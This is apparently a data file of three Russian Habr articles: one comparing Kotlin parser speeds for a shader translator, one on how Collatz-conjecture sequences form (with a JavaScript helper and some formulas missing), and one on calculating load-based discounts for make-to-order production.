#### Одним погожим солнечным деньком...
я решил собрать транслятор в GLSL из какого-нибудь удобного языка. Идея была в том, чтобы программировать шейдеры прямо в идее и получить «бесплатно» поддержку IDE — синтаксис, дебаг и юнит-тесты. Получилось [действительно очень удобно](https://habr.com/post/269591/).
С тех пор осталась идея использовать Kotlin — в нём можно использовать имя vec3, он более строг и в IDE с ним удобнее. Кроме того — он хайповый. Хотя с точки зрения моего внутреннего менеджера это всё недостаточные причины, но идея столько раз возвращалась, что я решил от неё избавиться просто реализовав.
*Почему не Java? Нет перегрузки операторов, поэтому синтаксис арифметики векторов будет уж слишком отличаться от того что вы привыкли видеть в геймдеве*
#### JetBrains
Ребята из JetBrains выложили код своего компилятора [на гитхаб](https://github.com/JetBrains/kotlin). Как им пользоваться можно подсмотреть [тут](https://stackoverflow.com/questions/32664842/how-to-get-kotlin-ast) и [тут](https://github.com/cretz/kastree).
Сначала я использовал их парсер вместе с анализатором, потому что для трансляции в другой язык — необходимо знать какой тип у переменной без явного указания типа `val x = vec3()`. Тут тип для читателя очевиден, но в AST эту информацию не так просто получить, особенно когда справа другая переменная, или вызов функции.
Здесь меня постигло разочарование. Первый запуск парсера на примитивном файле занимает 3с (ТРИ СЕКУНДЫ).
`**Kotlin JetBrains parser**
first call elapsed : 3254.482ms
min time in next 10 calls: 70.071ms
min time in next 100 calls: 29.973ms
min time in next 1000 calls: 16.655ms
Whole time for 1111 calls: 40.888756 seconds`
Такое время имеет следующие очевидные неудобства:
1. потому что это плюс три секунды к запуску игры или приложения.
2. во время разработки я использую горячую перегрузку шейдера и вижу результат сразу после изменения кода.
3. я часто перезапускаю приложение и рад что оно стартует достаточно быстро (секунда-две).
Плюс три секунды на разогрев парсера — это неприемлемо. Конечно, сразу выяснилось что при последующих вызовах время парсинга падает до 50мс и даже до 20мс, что убирает (почти) из выражения неудобство №2. Но два остальных никуда не деваются. К тому же, 50мс на файл — это плюс 2500мс на 50 файлов (один шейдер — это 1-2 файла). А если это Android? (Тут мы пока говорим только про время.)
*Обращает на себя внимание сумасшедшая работа JIT. Время парсинга простого файла падает с 70мс до 16мс. Что означает, во первых — сам JIT потребляет ресурсы, а во вторых — на другой JVM результат может сильно отличаться.*
В попытке выяснить откуда такие цифры, нашёлся вариант — использовать их парсер без анализатора. Ведь мне нужно всего лишь расставить типы и сделать это можно относительно легко, в то время как JetBrains анализатор делает что-то гораздо более сложное и собирает гораздо больше информации. И тогда время запуска падает в два раза (но почти полторы секунды это всё равно прилично), а время последующих вызовов уже гораздо интереснее — с 8мс в первых десяти, до 0.9мс где-то к тысяче.
`**Kotlin JetBrains parser (without analyzer)**` `[(исходник)](https://github.com/kravchik/yast/blob/master/kotlinJetBrains/src/main/java/yk/yast/kotlin/intellij/GaugeKotlinIntellijParser.kt)
first call elapsed : 1423.731ms
min time in next 10 calls: 8.275ms
min time in next 100 calls: 2.323ms
min time in next 1000 calls: 0.974ms
Whole time for 1111 calls: 3.6884801 seconds`
*Пришлось собирать именно такие цифры. Время первого запуска важно при прогрузке первых шейдеров. Оно критично, потому что тут не отвлечёшь пользователя пока шейдера грузятся в фоне, он просто ждёт. Падение времени исполнения важно чтобы видеть саму динамику, как работает JIT, насколько эффективно мы можем прогружать шейдера на разогревшемся приложении.*
Главной причиной посмотреть в первую очередь на JetBrains парсер — было желание использовать их типизатор. Но раз отказ от него становится обсуждаемым вариантом, можно попробовать использовать и другие парсеры. Кроме того, не-JetBrains скорее всего будет гораздо меньше по размеру, менее требователен к окружению, проще с поддержкой и включением кода в проект.
#### ANTLR
На JavaCC парсера не нашлось, а вот на хайповом ANTLR, ожидаемо, есть ([раз](https://github.com/antlr/grammars-v4/tree/master/kotlin), [два](https://github.com/shadrina/kotlin-grammar-antlr4)).
Но вот что было неожиданно — так это скорость. Те же 3с на прогрузку (первый вызов) и фантастические 140мс на последующие вызовы. Тут уже не только первый запуск длится неприятно долго, но и потом ситуация не исправляется. Видимо, ребята из JetBrains, сделали какую-то магию, позволив JIT так оптимизировать их код. Потому что ANTLR совсем не оптимизируется со временем.
`**Kotlin ANTLR parser**` `[(исходник)](https://github.com/kravchik/yast/blob/master/kotlinAntlr/src/test/java/yk/yast/kotlinAntlr/GaugeKotlinAntlrParser.java)
first call elapsed : 3705.101ms
min time in next 10 calls: 139.596ms
min time in next 100 calls: 138.279ms
min time in next 1000 calls: 137.20099ms
Whole time for 1111 calls: 161.90619 seconds`
#### JavaCC
В общем, с удивлением отказываемся от услуг ANTLR. Парсинг не должен быть таким долгим! В грамматике Котлина нет каких-то космических неоднозначностей, да и проверял я его на практически пустых файлах. Значит, настало время расчехлить старичка JavaCC, закатать рукава, и всё таки «сделать самому и как надо».
На этот раз цифры получились ожидаемыми, хотя в сравнении с альтернативами — неожиданно приятными.
`**Kotlin JavaCC parser**` `[(исходник)](https://github.com/kravchik/yast/blob/master/kotlin/src/test/java/yk/yast/kotlin/GaugeKotlinJavaccParser.java)
first call elapsed : 19.024ms
min time in next 10 calls: 1.952ms
min time in next 100 calls: 0.379ms
min time in next 1000 calls: 0.114ms
Whole time for 1111 calls: 0.38707677 seconds`
*Внезапные плюсы своего парсера на JavaCC*
Конечно, вместо написания своего парсера хотелось бы использовать готовое решение. Но существующие имеют огромные недостатки:
— производительность (паузы при чтении нового шейдера недопустимы, как и три секунды разогрева на старте)
— огромный рантайм котлина, я даже не уверен можно ли парсер с его использованием упаковать в финальный продукт
— кстати, в текущем решении с Groovy та же беда — тянется рантайм
В то время как получившийся парсер на JavaCC это
+ отличная скорость и на старте и в процессе
+ всего несколько классов самого парсера
#### Выводы
JetBrains слишком тяжело таскать за собой, ANTLR хайповый, но неожиданно медленный, а JavaCC ещё рано списывать.
Парсинг простого Kotlin файла тремя разными реализациями:
`| Имплементация | Первый запуск | 1000й запуск | размер джара (парсера) |
| --- | --- | --- | --- |
| JetBrains | 3254мс | 16,6мс | 35.3МБ |
| JetBrains (w/o analyzer) | 1423мс | 0,9мс | 35.3МБ |
| ANTLR | 3705мс | 137,2мс | 1.4МБ |
| JavaCC | 19мс | 0,1мс | 0.8МБ |`
В какой-то момент, я решил посмотреть на размер джара со всеми зависимостями. JetBrains велик вполне ожидаемо, а вот рантайм ANTLR удивляет своим размером.
*UPDATE: Изначально я написал 15МБ, но, как подсказали в комментариях, если подключить antlr4-runtime вместо antlr4, размер падает до ожидаемого. Хотя сам парсер JavaCC остаётся в 10 раз меньше ANTLR (если убрать вообще весь код, кроме самих парсеров).*
Размер джара как таковой важен, конечно, для мобилок. Но и для десктопа имеет значение, т.к., фактически, означает количество дополнительного кода, в котором могут водиться баги, который должна индексировать IDE, который, как раз, и влияет на скорость первой загрузки и скорость разогрева. Кроме того, для сложного кода нет особой надежды транслировать на другой язык.
Я не призываю считать килобайты и ценю время программиста и удобство, но всё же об экономии стоит задумываться, потому что именно так проекты и становятся неповоротливыми и трудно поддерживаемыми.
*Ещё пара слов об ANTLR и JavaCC*
Серьёзной фичей ANTLR является разделение грамматики и кода. Это было бы хорошо, если бы за это не нужно было так дорого платить. Да и значение это имеет только для “серийных разработчиков грамматик”, а для конечных продуктов это не так важно, ведь даже существующую грамматику всё равно придётся прошерстить чтобы написать свой код. Плюс, если мы сэкономим и возьмём “стороннюю” грамматику — она может быть просто неудобна, в ней всё равно нужно будет досконально разбираться, преобразовывать дерево под себя. В общем, JavaCC, конечно, смешивает мух и котлеты, но такое ли большое это имеет значение и так ли это плохо?
Ещё одной фишкой ANTLR является множество target платформ. Но тут посмотреть можно с другой стороны — код из под JavaCC очень простой. И его очень просто… транслировать! Прямо с вашим кастомным кодом — хоть в C#, хоть в JS.
#### P.S.
Весь код находится тут [github.com/kravchik/yast](https://github.com/kravchik/yast)
Результатом парсинга у меня является дерево построенное на YastNode (это очень простой класс, фактически — мапа с удобными методами и айдишником). Но YastNode — это не совсем «сферическая нода в вакууме». Именно этим классом я активно пользуюсь, на его основе у меня собрано несколько инструментов — типизатор, несколько трансляторов и оптимизатор/инлайнер.
JavaCC парсер пока содержит не всю грамматику, осталось процентов 10. Но не похоже чтобы они могли повлиять на производительность — я проверял скорость по мере добавления правил, и она не менялась заметно. Кроме того, я уже сделал гораздо больше чем мне было нужно и просто пытаюсь поделиться неожиданным результатом найденным в процессе. | https://habr.com/ru/post/433000/ | null | ru | null |
# О формировании последовательностей в гипотезе Коллатца ( 3n+1 )
Меня привлекают такие задачи, как проблема Коллатца. Они просты в формулировке и отлично тренируют голову, в особенности алгоритмического мышления, что очень полезно программисту.
Формулируется задача довольно просто:
> Берём любое натуральное число n. Если оно чётное, то делим его на 2, а если нечётное, то умножаем на 3 и прибавляем 1 (получаем 3n + 1). Над полученным числом выполняем те же самые действия, и так далее.
Гипотеза Коллатца заключается в том, что какое бы начальное число n мы ни взяли, рано или поздно мы получим единицу.
Алгоритмически это выглядит так:
```
while (number > 1) {
if (number % 2 === 0) number = number / 2;
else number = 3 * number +1;
}
```
К примеру, возьмем n=5. Оно нечетное, значит выполним действие над нечетным, то есть 3n+1 => 16. 16 — четное, значит выполним действие над четным, то есть n / 2 => 8 => 4 => 2 => 1.
Последовательность, образованная при n = 5: 16, 8, 4 ,2, 1.
*Я прошу простить меня за мою математику, дайте знать, если где-то ошибусь.*
Давайте выделим общее количество свед**е**ний к единице и истинное количество свед**е**ний к единице. Обозначим это за шаги.
Рассмотрим последовательность для n = 7:
> 22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2, 1.
Всего шагов 16. А **истинных шагов**, которые на самом деле перебрасывают в другое числовое множество – их 5:
> 7, 11, 17, 13, 5.
**Истинным шагом Sa(n)** будем называть количество операций **3n+1** над числом, необходимых, чтобы достичь единицы.
Идея наглядно демонстрируется на примере таблицы:
| Sn (0) | Sn (1) | Sn (2) | Sn (3) | Sn (4) | Sn (5) | Sn (6) | Sn (7) | Sn (8) | Sn (9) | Sn (10) | Sn (11) | Sn (12) |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 2 | 5 | 3 | 17 | 11 | 7 | 9 | 25 | 33 | 43 | 57 | 39 | 105 |
| 4 | 10 | 6 | 34 | 22 | 14 | 18 | 49 | 65 | 86 | 59 | 78 | 203 |
| 8 | 20 | 12 | 35 | 23 | 15 | 19 | 50 | 66 | 87 | 114 | 79 | 209 |
| 16 | 21 | 13 | 68 | 44 | 28 | 36 | 51 | 67 | 89 | 115 | 153 | 210 |
| 32 | 40 | 24 | 69 | 45 | 29 | 37 | 98 | 130 | 182 | 118 | 156 | 211 |
| 64 | 42 | 26 | 70 | 46 | 30 | 38 | 99 | 131 | 173 | 119 | 157 | 406 |
| 128 | 80 | 48 | 75 | 88 | 56 | 72 | 100 | 132 | 174 | 228 | 158 | 407 |
| 256 | 84 | 52 | 136 | 90 | 58 | 74 | 101 | 133 | 177 | 229 | 305 | 409 |
| 512 | 85 | 53 | 138 | 92 | 60 | 77 | 102 | 134 | 178 | 230 | 306 | 418 |
В такой таблице уже проглядывается порядок, своя закономерность.
Как видно степень двойки никогда нечетной не станет, поэтому все сводится к простому делению.
Образуется последовательность от Sa(0) всего 1 формулой.
Никаких истинных шагов делать не нужно, простым делением все сведется к единице.
Зная это, можно отбросить из таблицы все числа, кратные двум.
| Sn (0) | Sn (1) | Sn (2) | Sn (3) | Sn (4) | Sn (5) | Sn (6) | Sn (7) | Sn (8) | Sn (9) | Sn (10) | Sn (11) | Sn (12) |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| | 5 | 3 | 17 | 11 | 7 | 9 | 25 | 33 | 43 | 57 | 39 | 105 |
| | 21 | 13 | 35 | 23 | 15 | 19 | 49 | 65 | 87 | 59 | 79 | 203 |
| | 85 | 53 | 69 | 45 | 29 | 37 | 51 | 67 | 89 | 115 | 153 | 209 |
| | 341 | 113 | 75 | 93 | 61 | 77 | 99 | 131 | 173 | 119 | 157 | 211 |
| | 1365 | 213 | 141 | 181 | 117 | 81 | 101 | 133 | 177 | 229 | 305 | 407 |
Сейчас уже сложнее уловить закономерность, однако она есть. Сейчас самое интересное — образование последовательностей. Не просто так следующей цифрой после 5 стоит 21, а после неё 85.
На самом деле **Sa(1)** – это последовательность [A002450](https://oeis.org/A002450) (0, 1, 5, 21, 85, 341, 1365, 5461, 21845, 87381… ). Она образуется формулой:
Эту же последовательность можно описать рекурсивной формулой:
И так далее…
Ряд первого шага построен, хотя он может продолжаться до бесконечности. Перейдем к шагу два. Формулу перехода к шагу 2 можно выразить из нечетной формулы.
Зная, что мы собираемся делить результат  несколько раз, можно это записать как , где – количество делений.
Итоговая формула принимает вид:
Так же введем поправку на , как , чтобы не случилось варианта деления числа не кратного 3 на 3.
Давайте проверим формулу, так как альфа неизвестная, проверим для подряд идущих 5 альф:
Тем самым начинает образовываться последовательность второго шага. Однако, можно заметить, что 113 нет в последовательности, важно помнить, что формула рассчитывалась **от 5**.
**n = 113** на самом деле:
Подытожим:
> Множество от  порождается функцией  от каждого элемента множества от .
Тогда зная это – можно еще сократить таблицу, убрав все порождения кратные альфа.
| Sn (0) | Sn (1) | Sn (2) | Sn (3) | Sn (4) | Sn (5) | Sn (6) | Sn (7) ... |
| --- | --- | --- | --- | --- | --- | --- | --- |
| | 5 | 3 | 17 | 11 | 7 | 9 | ... |
| | | 113 | 75 | 201 | 267 | 715 | ... |
| | | 227 | 151 | 401 | 1073 | 1425 | ... |
Чтобы было понятно, вот пример того, как элементы множества от  порождают элементы множества от  для альфа от 0 до 4.
| P(k)=3 | P(k)=113 | P(k)=227 |
| --- | --- | --- |
| **3 от α=0 порождает:**
Ничего
**13 от α=1 порождает:**
17
69
277
1109
4437
**53 от α=2 порождает:**
35
141
565
2261
9045
**213 от α=3 порождает:**
Ничего
**853 от α=4 порождает:**
1137
4549
18197
72789
291157
| **113 от α=0 порождает:**
75
301
1205
4821
19285
**453 от α=1 порождает:**
Ничего
**1813 от α=2 порождает:**
2417
9669
38677
154709
618837
**7253 от α=3 порождает:**
4835
19341
77365
309461
1237845
**29013 от α=4 порождает:**
Ничего
| **227 от α=0 порождает:**
151
605
2421
9685
38741
**909 от α=1 порождает:**
Ничего
**3637 от α=2 порождает:**
4849
19397
77589
310357
1241429
**14549 от α=3 порождает:**
9699
38797
155189
620757
2483029
**58197 от α=4 порождает:**
Ничего
|
Объединив эти множества, получим множество от Sa(3):
> 17, 35, 69, 75, 141, 151, 277, 301, 565, 605, 1109, 1137, 1205, 2261, 2275, 2417, 2421, 4437, 4549, 4821, 4835, 4849, 9045, 9101, 9669, 9685, 9699, 17749, 18197, 19285, 19341, 19397, 19417…
Причем убрав степени , получим:
> 17, 75, 151 …
То есть все сводится к:
**Почему где-то , а где-то ?**
Вернемся снова к последовательности A002450. Есть интересная зависимость:
 – не производит дочерних последовательностей.
 – производит дочерние последовательности при .
 – производит дочерние последовательности при .
Есть всего 3 потенциальных дочерних множества у числа.
Если применить к рекурсивной формуле, то:
> Функция , где  — любое число кратное 3, образует пустое множество ⨂.
>
> 
>
>
> Функция , где  — любое число порожденное , при  образует множество чисел K принадлежащих множеству натуральных чисел N.
>
> 
>
>
> Функция , при  образует множество чисел L принадлежащих множеству натуральных чисел N.
>
> 
>
>
Очевидно, что это каким-то образом можно свести к более строгой и доказательной формулировке.
Собственно, так и образуются последовательности в гипотезе Коллатца.
Осталась одна деталь. Необходимо из полученных нами множеств восстановить полноценные множества от абсолютных шагов.
Формула для нечетных:
Помимо нечетных, нужно восстановить множество четных. Для этого вспомним формулу:
Осталось только соотнести все вместе:
Окончательный вариант:
Тем самым любая k может породить последовательность.
> Справедливо ли обратное, что любое из натуральных чисел определенно принадлежит к какой-либо последовательности от ?
>
>
Если так, то вполне возможно, что Коллатц был прав.
Под финал пример реализации функции на javascript:
```
function collatsSequence(
number,
sequenceLength,
alpha,
epsilon
) {
// Массив множества от истинного шага,
// определяемого number
let set = [];
// Сводим к нечетному
while (number % 2 === 0) number /= 2;
// Для каждого элемента последовательности,
// образованной от number, ограничиваясь sequenceLength
for (let k = 0; k < sequenceLength; k++) {
// Для каждой степени alpha
for (let a = 0; a < alpha; a++) {
// Пустое множество, пропускаем
if (number % 3 === 0) break;
// Рассчитываем для beta = 1
let numWithBeta = (number * 2 ** (2 * a + 1) - 1) / 3;
// Если число не делится на 3 при beta === 1
// тогда точно делится на 3 при beta === 2
if (Math.floor(numWithBeta) !== numWithBeta)
// Рассчитываем для beta = 2
numWithBeta = (number * 2 ** (2 * a + 2) - 1) / 3;
// Заполняем множество четными до предела epsilon
for (let e = 0; e < epsilon; e++)
set.push(numWithBeta * 2 ** e);
}
// Переходим к следующему элементу последовательности
number = number * 4 + 1;
}
return set;
}
console.log(
collatsSequence(5, 5, 2, 2)
);
// [ 3, 6, 13, 26, 113, 226, 453, 906, 227, 454, 909, 1818 ]
``` | https://habr.com/ru/post/419075/ | null | ru | null |
# Расчет максимально возможных скидок в проектах, выполняемых на заказ на основе текущей загрузки
Для кого статья
---------------
Если вы что-то производите на заказ, то вы наверняка сталкивались с простоями из-за отсутствия достаточного количества проектов.
Если у вас высока доля переменных затрат, то все ок — вы сокращаете производство и затраты сокращаются. Но если наоборот, превалирует доля постоянных затрат, то встает вопрос привлечения объема заказов, необходимого для покрытия постоянных расходов.
Особенно это выражено в реальном секторе производства в котором имеется большой объем основных средств, занимающих квадратные метры цехов от которых сложно отказаться, даже если вы временно на участке ничего не производите. Для сферы услуг тоже может быт.
Далее в статье будет рассмотрен механизм автоматизации экономически обоснованных специальных ценовых предложений для уменьшения времени простоя производственных участков.
> Оговоримся, что все это работает, только если у вашего пайплайна нормальный вход и есть запас по росту конверсии. Если конверсия близка к 100%, а на входе всего пара проектов, то это тот случай, когда все эти танцы с ценой вредны в принципе.
Подготовительная часть
----------------------
### Варианты организации процесса выпуска:
Глобально процесс выполнение проектов может быть организован как:
* односоставный
* многосоставный однородный или неоднородный
**Под многосоставным** в этой статье подразумевается проект, для производства которого организовано несколько производственных отделов, каждый со своей специализацией. Например сантехник в услуге починки крана не делится и просто чинит кран — он односоставный. Но если услуга более сложная, например ремонт во всей квартире, то помимо сантехника возникают электрики, штукатуры, плиточники и прочая куча народу, каждый со своим планом, загрузкой и стоимостью — такой проект будет многосоставным. Если же весь ремонт от и до делает один мастер из расчета n рублей/час, то все обратно становится односоставным.
**Под неоднородностью** же понимается разный объем работ по каждому из производственных участков от проекта к проекту, что создает разную загрузку на участках в зависимости от комбинации проектов, в конкретный момент времени находящихся в работе.
Метод будет сначала описан для односоставных, а потом приведена простая формула переноса его на многосоставные проекты. Итак, поехали.
### Нормальный уровень загрузки
**Подход заключается в том, что бы представить, на основе предыдущего периода и ваших планов на маркетинг, ожидаемый уровень загрузки — норму.**
Это действие является творческим, но представлять желательно что-то похожее на действительность. Если так получилось, что представили норму X, а на практике потом получается реальность Y, которая стабильно в 2 раза меньше X (достаточно частая ситуация) — просто скорректируйте норму X, результаты будут точнее. Проверять себя можно по движению денежных средств — об этом будет в конце статьи.
Далее уровень загрузки представляется в виде какого-то носителя затрат — дальше в этой статье носителем затрат будет рассматриваться время. Хорошо брать время производственной единицы, станков или людей тк время идет достаточно постоянно и его всегда не более чем 24 часа в сутки (окрестности черной дыры не в счет).
### Нормированная себестоимость
Дальше возьмем все наши затраты за период, постоянные и переменные, c учетом того, что мы отработаем эту норму, кроме однозначно прямых затрат на конкретные проекты (например материалов), суммируем и делим на количество часов запланированной нами нормы — получим Нормированную себестоимость часа. Те эта та себестоимость часа, которая будет актуальна только если мы загружены заказами на выбранную нами норму. Нормированная себестоимость конкретного проекта получается умножением нормированной себестоимости часа на оценочное время производства проекта.
### Как учесть переменные затраты
С материалами все тоже достаточно индивидуально, тк если материалы на час работы или на проект расходуются более-менее равномерно или они составляют малую часть общих расходов их можно включать в нормированную себестоимость. Конечно это дает некоторую погрешность, но вариант, когда данные для принятия последующих решений принимаются некорректными из-за того, что расходы посчитаны как 1 млн р., а они на самом деле 1 0013 500 р. мы откинем как не самый конструктивный.
### Нормированная себестоимость конкретного проекта
Чем хороша Нормированная себестоимость — она проста в расчете и позволяет сравнивать разные проекты между собой до того, как они будут закончены и расходы по ним будут подбиты в бухгалтерском отчете. Реальная себестоимость по проектам будет отличаться от нормированной, тк мы наверняка иногда будем ошибаться с оценкой времени, которое требуется на выполнение проекта, а также наша реальная загрузка в месяц будет отличаться от запланированной нормы. Если мы делаем работ больше нормы, то при условии отсутствия ошибок в сметах, реальная себестоимость проектов будет ниже нормированной, а если меньше, то больше нормированной.
Норма не истина в последней инстанции и должна корректироваться раз в квартал, полугодие или год в зависимости от волатильности на вашем рынке и конкретной ситуации в компании. Помимо этого вы наверняка работаете над оптимизацией и снижением затрат, что тоже влияет на нормированную себестоимость часа.
### Прибыль или убыток
Теперь о прибыли. Если совсем просто, то проект проданный по цене выше нормированной себестоимости + материалы — прибыльный. По цене равной нормированной себестоимости + материалы — нулевой. По цене ниже нормированной себестоимости + материалы — убыточный. Но забегая вперед сразу скажем, что не надо тут-же бежать и отказываться от убыточных проектов, они могут быть очень нужны и полезны не только из-за пиар соображений или будущих продаж, а прямо здесь и сейчас.
Дело в том, что нормированная себестоимость часа равна реальной только если мы обеспечиваем загрузку заказами до выбранной нами нормы! Здесь я предполагаю, что мы анализируем ошибки допущенные нами в сметах и в общем стараемся минимизировать ущерб от вызываемых ими переработок, поэтому они не оказывают решающего влияния на себестоимость.
### Настал момент — заказов нет! Как посчитать убыток
Итак, что же будет если у нас в один из дней нет заказов. Помимо того, что мы лежим на диване — мы угораем на величину постоянных затрат за этот день, содержащихся в нормированной себестоимости дня. Разделение на постоянные и переменные затраты тоже достаточно творческое. Например зарплата сотрудников может относится к постоянным если они на фиксе или к переменным если они на аутсорсе за объем выполненной работы.
Одним из способов вычислить постоянные затраты является посчитать все расходы за отчетный период в том случае если временно совсем не будет работы. Поделив на количество часов нормы содержащейся в этом периоде получим постоянные затраты в нормированной себестоимости часа.
### Себестоимость простоя
Те если если у нас нет заказов совсем, то каждый час будет давать минус в размере постоянной части нормированной себестоимости. Можно назвать это Себестоимостью простоя. Когда у нас есть заказы, она компенсируется ценой продажи услуги, когда заказов нет, мы платим ее из своих денег. Это интуитивно понятно, задача состоит в том, что бы посчитать какие границы актуальны на текущий момент.
Логика формирования портфеля заказов
------------------------------------
Конечно мы стремимся укомплектовать наше производство прибыльными заказами. Те теми, цена продажи которых превышает нормированную себестоимость + стоимость материалов этих заказов. Если емкость таких исчерпана, то следующий уровень цен — это нулевые заказы. Когда доступные нулевые тоже закончились, то тогда логично цену продажи заказов, стоящих в статусе «переговоры» сравнивать с их переменной частью нормированной себестоимости (себестоимостью простоя) + материалы на конкретный проект. Те если выбирать между простоем и проектом продающимся выше уровня нормированных переменных затрат + стоимость материалов, который частично компенсирует постоянные затраты, то брать такой проект выгоднее чем простаивать. Да, конкретно этот проект будет убыточным, но он защитит прибыль проектов проданных выше нормированной себестоимости, тк простой оплачивается из этой прибыли.
### Пример
**У нас отчетный период 30 рабочих дней, 20 из них мы загрузили 20 прибыльными проектами ценой по 10 единиц каждый, один проект — один день.**
Нормированная себестоимость на день-проект у нас 8 единиц из которых 5 постоянных затрат и 3 переменных, материалов нет.
За 20 дней мы заработаем 40 единиц прибыли — ожидаемая рентабельность 20%, вроде неплохо.
> *Здесь и далее под рентабельностью понимается модифицированная Рентабельность продаж. Модифицированная тк пример не учитывает наличие переменной части в виде материалов, которые могут сильно отличаться от проекта к проекту. Цифра показывает какую часть прибыли содержит в себе оборот по услугам (по другому по «добавленной стоимости»). До или после налогообложения зависит от того, включены ли налоги в нормированную себестоимость. Автор сторонник включения, тк ему так более наглядно.*
Но если остальные 10 мы простаиваем, то стоимость простоя оплаченная нами из прибыли составит 50 единиц и общий результат за месяц получится –10 единиц. Те ожидаемая рентабельность периода будет –5%
Если мы загрузим эти 10 дней нулевыми проектами по цене продажи 8 единиц, то ничего не заработав за эти 10 дней мы сохраним прибыль предыдущих 20 и результат за месяц по прежнему будет 40 единиц прибыли. Ожидаемая рентабельность будет 14,3%. Хуже, но по прежнему хорошо.
### Нулевая граница
Если у нас не берут даже нулевые заказы, то первой нижней границей будет являться та, при которой мы будем выходить по отчетному периоду в 0.
У нас есть 40 единиц прибыли, те в осташиеся 10 дней мы можем позволить себе угореть максимум на 4 единицы в день. При нормированной себестоимости 8 единиц получаем, что нижняя граница цены продажи на эти 10 дней будет 4 единицы за проект. Те каждый проект будет компенсировать свою переменную себестоимость и немного компенсировать постоянную. По итогу мы выйдем в 0.
Те если мы на этих 10 днях будем продавать проекты дороже 4 единиц, например за 5 или 6 то мы будем защищать часть прибыли заработанной в первые 20 дней. Предположим мы предлагали клиентам краткосрочную скидку «только сейчас» в 40% с оплатой вперед или большей части вперед (помните про возможную невозвратную или зависшую дебиторку) и заполнили эти 10 дней проектами по 6 единиц каждый. На каждом из них мы угорели на 2 единицы и по итогу вышло 20 единиц прибыли, те 7,7% рентабельности.
**Может это не так круто как расчетные 20%, но явно лучше чем –5% в случае простоя в ожидании нормального по деньгам заказа.**
Здесь надо оговориться, что граница нуля сложноуловима, тк постоянно движется, и простой редко концентрируется к концу отчетного периода, поэтому дальше мы предложим некоторое упрощенное правило.
### Как посчитать реальную себестоимость текущих проектов в любой момент отчетного периода
Часто в середине отчетного периода возникает желание прикинуть как обстоят дела с реальной себестоимостью текущих проектов. Посчитать ее при известной или прогнозируемой загрузке за этот период можно так:
```
Скорректированная себестоимость проекта = Нормированная себестоимость проекта * Kf + Материалы
Kf = Доля простоя * Долю постоянных затрат в нормированной себестоимости / Долю загрузки + 1
```
Для нашего примера в случае полного прогнозируемого простоя в последние 10 дней будет:
```
Доля простоя = 10 / 30 = 0,333
Доля загрузки = 1 - 0,333 = 0,667
Доля постоянных затрат = 5 / 8 = 0,625
Kf = 1,312
Материалы = 0
Скорректированная себестоимость = 8 * 1,312 + 0 = 10,496 —> 10,5
```
При цене продажи 10 единиц, мы теряем по 0,5 единицы на каждый из 20 проектов, проданных в таких условиях и в итоге убыток 10 единиц.
### Минимальная граница цены
Самой же минимальной границей цены будет являться граница определяемая переменной себестоимостью проекта + материалы. В примере это 3 единицы на проект. Ниже 3 единиц мы в любом случае доплачиваем больше, чем в случае простоя и лучше простаивать чем загружать производство таким проектом, тк когда вы простаиваете у вас в запасе получается свободный срочный слот, а когда вы делаете совсем угарный проект этот слот занят. Это может быть оправдано, если вы делаете небольшой бесплатный образец или пилот для того, что бы взять окупающий его прибыльный проект.
Программируем расчет в автоматическом режиме
--------------------------------------------
### Вероятность простоя по очереди заказов
Перейдем немного от сферических коней к реальности. Дело в том, что простой никогда не концентрируется к концу отчетного периода, несмотря на то, что это было бы весьма удобно. Он распределен неким хаотичным образом. Но его можно предсказывать с достаточной точностью по очереди заказов в производство, тех которые уже проданы, но еще не сделаны. Нас будет интересовать отношение длины очереди к общему возможному объему за отчетный период. Например у нас заказов на 30 часов работ при норме 160, тогда эта цифра будет 30 / 160 \* 100 = 18,75%.
Методом простых наблюдений можно вывести взаимосвязь между очередью и вероятностью возникновения простоя. Например для одного из производств получалось приблизительно так:
| Очередь | Вероятность возникновения простоя |
| --- | --- |
| меньше 25% | до 20% |
| меньше 20% | до 50% |
| меньше 15% | до 70% |
| меньше 10% | до 90% |
| — | 100% (теперь можно курить прямо здесь) |
В очередь можно плюсовать и проекты, которые по вашей оценке должны в ближайшее время перейти из «переговоров» в «производство», например здесь мы делали простенькую нейросеть, которая определяла вероятность продажи проекта по его смете и предыдущей истории взаимодействия с клиентом, на основе этой оценки прогнозировали загрузку ближайшего периода, в общем, в этом месте все как обычно. Это все достаточно индивидуально и в огромном количестве дел вероятность простоя будет близка к 0 даже при минимальной очереди. По нашему наблюдения, чем длиннее цикл продажи, тем выше граница очереди при пробое которой вниз надо предпринимать действия, причем не только ценовые.
### Каким проектам предлагать скидку
Когда мы выяснили вероятность возникновения простоя можно подумать о том, кому и какую скидку мы хотим предложить для заполнения подбирающихся к нам зияющих пустот плана. «Кому» не могу посоветовать, а вот «какую» — можно посчитать.
**Общий принцип:** чем выше вероятность простоя, тем меньшая рентабельность нам может быть выгодна в этот конкретный момент.
Еще раз повторюсь, это вся статья про «горячие пирожки», ситуация меняется постоянно и эти скидки они персональные и очень временные, те они окупаются если клиент реагирует достаточно быстро. Поэтому целевыми проектами для скидок будут проекты среднего размера, тк по ним можно быстрее среагировать и содержащие в себе как можно меньше интеллектуальной добавленной стоимости тк по ним меньше вероятность наличия ошибки в смете.
### Цены по загрузке
**Получается так:** мы смотрим, что у нас недостаточная очередь, предлагаем по подходящим проектам скидки, что-то заходит, очередь наполняется и величина возможной скидки динамически уменьшается. Назовем эти уровни цен «ценами по загрузке».
Далее — заказы на 100 000 р. и на 2 000 000 р. будут иметь разную ожидаемую рентабельность сами по себе. Поэтому предлагается такое правило (границы величины очереди определяете самостоятельно):
| Очередь | Вероятность простоя | К чему подгоняем ожидаемую рентабельность |
| --- | --- | --- |
| меньше 25% | До 20% | Не паримся или Рентабельность \* 0,75 |
| меньше 20% | До 50% | Не паримся или Рентабельность \* 0,5 |
| меньше 15% | До 70% | Нулевая рентабельность |
| меньше 10% | До 90 % | Небольшая отрицательная рентабельность |
| — | До 100 % | Большая отрицательная рентабельность |
Что бы это автоматизировать и получать значение в любой точке интервала — применили такую штуку: приняли за минимальную рентабельность по Y значение в –100%, за максимальную +50%, по X отложили значения очереди. Поставили точки руководствуясь правилом выше, аппроксимировали получили для нашего случая кубический многочлен вида:
```
Y(рентабельность) = 0.0183х^3 - 0.8883x^2 + 16.7886х – 100
Х — это величина очереди на момент вычисления.
```
